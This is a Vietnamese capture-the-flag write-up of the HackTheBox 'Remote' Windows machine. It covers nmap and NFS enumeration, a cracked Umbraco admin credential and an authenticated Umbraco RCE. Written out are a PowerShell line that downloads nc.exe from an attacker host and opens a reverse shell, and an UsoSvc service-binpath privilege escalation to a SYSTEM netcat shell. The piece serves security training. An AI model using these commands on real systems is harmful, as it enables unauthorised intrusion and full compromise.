Recon

Nmap

Việc sử dụng nmap để quét toàn bộ cổng của machine là 1 việc làm bất di bất dịch nếu các bạn muốn tấn công lên machine đó.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
|_clock-skew: 3m03s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-04-12T13:13:30
|_  start_date: N/A

Ở đây chúng ta thấy có khá nhiều port đang mở, mình thì hay khám phá các dịch vụ web trước :P. Tuy nhiên vào trang web thì cũng chẳng có gì nhiều.

Fuzz

Check qua một lượt trang web dường như không có gì, thì chúng ta cần fuzzing xem có dịch vụ web nào tại port 80 nữa không.
Sử dụng gobuster để recon:

1
gobuster dir -u http://10.10.10.180 -w /usr/share/wordlists/dirb/common.txt

Kết quả có 1 thư mục là /umbraco chạy Umbraco CMS

Có một trang đăng nhập

Get User

Searchsploit xem có CVE nào k thì thấy có 1 cái RCE được

1
2
➜  Remote searchsploit umbraco
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution                | exploits/aspx/webapps/46153.py

Nhưng rất tiếc là cần phải đăng nhập mới có thể RCE được, tiếp tục đi tìm tài khoản đăng nhập của web.

Trong kết quả nmap thấy có cổng 111 đang mở, ở Linux có lệnh showmount để xem có thư mục nào đang public hay không

1
2
3
➜  Remote sudo showmount -e remote.htb
Export list for remote.htb:
/site_backups (everyone)

Thấy có thư mục public, thực hiện mount vào để đọc thêm thông tin

1
2
3
4
➜  Remote sudo mount -t nfs remote.htb:/site_backups .             
➜  Remote ls
App_Browsers  App_Plugins    bin     css           Global.asax  scripts  Umbraco_Client  Web.config
App_Data      aspnet_client  Config  default.aspx  Media        Umbraco  Views

Quá trời quá đất thư mục, đọc lần lượt thì thấy có 1 file tên là Umbrella.sdf. Khuyến khích mở file này bên Win, mở bên Kali lag lòi kèn @@

Thấy có một vài mã hash passwd, list ra. Đã sử dụng psexe.py với những hash này nhưng k được, sử dụng John để crack passwd thì lấy được 1 account tên là admin@htb.local:baconandcheese. Sử dụng tài khoản này để đăng nhập vào trang login lúc nãy thì đăng nhập được.

Kiểm tra phiên bản đúng là phiên bản 7.12.4, sử dụng lỗ hổng RCE bên trên tìm được để khai thác, thực hiện custom mã đi một chút.

1
Invoke-WebRequest -Uri http://10.10.14.5:8080/nc.exe -OutFile C:/windows/temp/nc.exe; C:/windows/temp/nc.exe 10.10.14.5 4444 -e powershell

Hoặc đơn giản hơn có thể sử dụng mã khác xịn hơn tại https://github.com/noraj/Umbraco-RCE, mã này dễ sử dụng hơn và k cần phải custom giống mã trên exploitdb

Lấy được cờ user trong Public

Get Root

Việc lên Root này mình đã có bài viết chi tiết tại https://viblo.asia/p/leo-thang-dac-quyen-trong-windows-windows-privilege-escalation-1-service-exploits-vyDZO7QOZwj

Kiểm tra dịch vụ đang có trên box

1
2
PS C:\Users\Administrator\Documents> Get-Service
Stopped  UsoSvc             Update Orchestrator Service

Có dịch vụ này của Windows Update, tìm thấy trên Payload All The Thing cve-2019-1322-usosvc

Có payload rồi, vậy thì cứ step by step là ra thôi :D

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\nc.exe 10.10.14.5 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usosvc
        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\nc.exe 10.10.14.5 4444 -e cmd.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

PS C:\Windows\system32> sc.exe start UsoSvc

Lên root rồi lấy cờ cuối thôi :D

1
2
3
PS C:\Users\Administrator> cd Desktop
PS C:\Users\Administrator\Desktop> type root.txt
3b9f87e333e859963172519b3b724462

Kết luận

Đây là một bài khá cơ bản với machine Windows, hi vọng các bạn đọc bài viết này của mình sẽ thu lại được thứ gì đó, happy hacking :D